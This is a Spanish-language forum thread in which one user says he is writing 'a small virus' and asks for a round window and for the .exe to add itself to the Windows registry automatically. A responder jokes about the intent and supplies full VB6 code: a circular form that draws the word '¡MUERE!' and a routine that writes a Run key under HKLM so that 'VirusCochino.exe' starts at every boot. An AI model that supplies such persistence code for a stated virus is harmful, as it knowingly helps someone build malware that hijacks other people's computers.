Hola ayuda con un Form Redondo

[trader]

les va a aparecer medio raro pero estoy haciendo un pequeño virus y quiero que aparesca el form en forma de circulo y tambien que el .exe se pueda guardar en el registro de windows automaticament e sin colocarlo uno al .exe.
                             
                                                                                                                                                       Marcelo

[ranefi]

Hola trader, buena tarde. Así que andas de mañosón     ¡Eh! Jejeje, bueno, aquí te va el código:

Código:

Const FW_THIN = 100
Const FW_EXTRALIGHT = 200
Const FW_LIGHT = 300
Const FW_NORMAL = 400
Const FW_MEDIUM = 500
Const FW_SEMIBOLD = 600
Const FW_BOLD = 700
Const FW_EXTRABOLD = 800
Const FW_HEAVY = 900
Const FW_BLACK = FW_HEAVY
Const FW_DEMIBOLD = FW_SEMIBOLD
Const FW_REGULAR = FW_NORMAL
Const FW_ULTRABOLD = FW_EXTRABOLD
Const FW_ULTRALIGHT = FW_EXTRALIGHT

Const ANSI_CHARSET = 0
Const DEFAULT_CHARSET = 1
Const SYMBOL_CHARSET = 2
Const SHIFTJIS_CHARSET = 128
Const HANGEUL_CHARSET = 129
Const CHINESEBIG5_CHARSET = 136
Const OEM_CHARSET = 255

Const OUT_CHARACTER_PRECIS = 2
Const OUT_DEFAULT_PRECIS = 0
Const OUT_DEVICE_PRECIS = 5

Const CLIP_DEFAULT_PRECIS = 0
Const CLIP_CHARACTER_PRECIS = 1
Const CLIP_STROKE_PRECIS = 2

Const DEFAULT_QUALITY = 0
Const DRAFT_QUALITY = 1
Const PROOF_QUALITY = 2

Const DEFAULT_PITCH = 0
Const FIXED_PITCH = 1
Const VARIABLE_PITCH = 2

Const OPAQUE = 2
Const TRANSPARENT = 1

Const LOGPIXELSY = 90
Const COLOR_WINDOW = 5
Const Message = "    ¡MUERE!"

Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type

Private Declare Function GetDeviceCaps Lib "gdi32" (ByVal hdc As Long, _
    ByVal nIndex As Long) As Long

Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, _
    ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, _
    ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, _
    ByVal ySrc As Long, ByVal dwRop As Long) As Long

Private Declare Function CreateCompatibleBitmap Lib "gdi32" _
    (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long

Private Declare Function CreateCompatibleDC Lib "gdi32" _
    (ByVal hdc As Long) As Long

Private Declare Function GetDC Lib "user32" (ByVal hWnd As Long) As Long

Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long)

Private Declare Function DeleteObject Lib "gdi32" _
    (ByVal hObject As Long) As Long

Private Declare Function CreateEllipticRgn Lib "gdi32" _
    (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, _
    ByVal Y2 As Long) As Long

Private Declare Function SetWindowRgn Lib "user32" _
    (ByVal hWnd As Long, ByVal hRgn As Long, _
    ByVal bRedraw As Boolean) As Long

Private Declare Function CreateFont Lib "gdi32" _
    Alias "CreateFontA" (ByVal nHeight As Long, _
    ByVal nWidth As Long, ByVal nEscapement As Long, _
    ByVal nOrientation As Long, ByVal fnWeight As Long, _
    ByVal fdwItalic As Boolean, ByVal fdwUnderline As Boolean, _
    ByVal fdwStrikeOut As Boolean, ByVal fdwCharSet As Long, _
    ByVal fdwOutputPrecision As Long, ByVal fdwClipPrecision As Long, _
    ByVal fdwQuality As Long, ByVal fdwPitchAndFamily As Long, _
    ByVal lpszFace As String) As Long

Private Declare Function SelectObject Lib "gdi32" _
    (ByVal hdc As Long, ByVal hObject As Long) As Long

Private Declare Function TextOut Lib "gdi32" Alias "TextOutA" _
    (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, _
    ByVal lpString As String, ByVal nCount As Long) As Long

Private Declare Function MulDiv Lib "kernel32" (ByVal nNumber As Long, _
    ByVal nNumerator As Long, ByVal nDenominator As Long) As Long

Private Declare Function SetBkMode Lib "gdi32" (ByVal hdc As Long, _
    ByVal nBkMode As Long) As Long

Private Declare Function GetSysColorBrush Lib "user32" _
    (ByVal nIndex As Long) As Long

Private Declare Function FillRect Lib "user32" (ByVal hdc As Long, _
    lpRect As RECT, ByVal hBrush As Long) As Long

Private Declare Function SetRect Lib "user32" (lpRect As RECT, _
    ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, _
    ByVal Y2 As Long) As Long


Dim mDC As Long, mBitmap As Long


Private Sub Form_Click()
    Unload Me
End Sub
Private Sub Form_Load()
    Dim mRGN As Long, Cnt As Long, mBrush As Long, R As RECT
   
    CreaCochinaCadena
   
    mDC = CreateCompatibleDC(GetDC(0))
    mBitmap = CreateCompatibleBitmap(GetDC(0), _
        Me.Width / Screen.TwipsPerPixelX, Me.Height / Screen.TwipsPerPixelY)
   
    SelectObject mDC, mBitmap
    SetBkMode mDC, TRANSPARENT
   
    SetRect R, 0, 0, Me.Width / Screen.TwipsPerPixelX, _
        Me.Height / Screen.TwipsPerPixelY
   
    FillRect mDC, R, GetSysColorBrush(COLOR_WINDOW)

    For Cnt = 0 To 350 Step 30
   
        DeleteObject SelectObject(mDC, CreateMyFont(24, Cnt))
   
        TextOut mDC, (Me.Width / Screen.TwipsPerPixelX) / 2, _
            (Me.Height / Screen.TwipsPerPixelY) / 2, Message, Len(Message)
    Next Cnt

    mRGN = CreateEllipticRgn(0, 0, Me.Width / Screen.TwipsPerPixelX, _
        Me.Height / Screen.TwipsPerPixelY)
   
    SetWindowRgn Me.hWnd, mRGN, True

    DeleteObject mRGN
End Sub

Function CreateMyFont(nSize As Integer, nDegrees As Long) As Long
    CreateMyFont = CreateFont(-MulDiv(nSize, _
        GetDeviceCaps(GetDC(0), LOGPIXELSY), 72), 0, nDegrees * 10, 0, _
        FW_NORMAL, False, False, False, DEFAULT_CHARSET, _
        OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, PROOF_QUALITY, _
        DEFAULT_PITCH, "Times New Roman")
End Function

Private Sub Form_Paint()
    BitBlt Me.hdc, 0, 0, Me.Width / Screen.TwipsPerPixelX, _
        Me.Height / Screen.TwipsPerPixelY, mDC, 0, 0, vbSrcCopy
End Sub

Private Sub Form_Unload(Cancel As Integer)
    DeleteDC mDC
    DeleteObject mBitmap
End Sub

Sub CreaCochinaCadena()
On Error Resume Next
   
    Dim CreaCadena As Object
   
    Set CreaCadena = CreateObject("WScript.Shell")
   
    CreaCadena.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\" & _
        "CurrentVersion\Run\VirusCochino", "C:\VirusCochino.exe", "REG_SZ"
End Sub

La fuente del formulario redondo fue ya hace un buen rato en
Para ver este enlace Registrate o Inicia Sesion

Código formulario redondo

. Espero y esto te sirva. Nos vemos.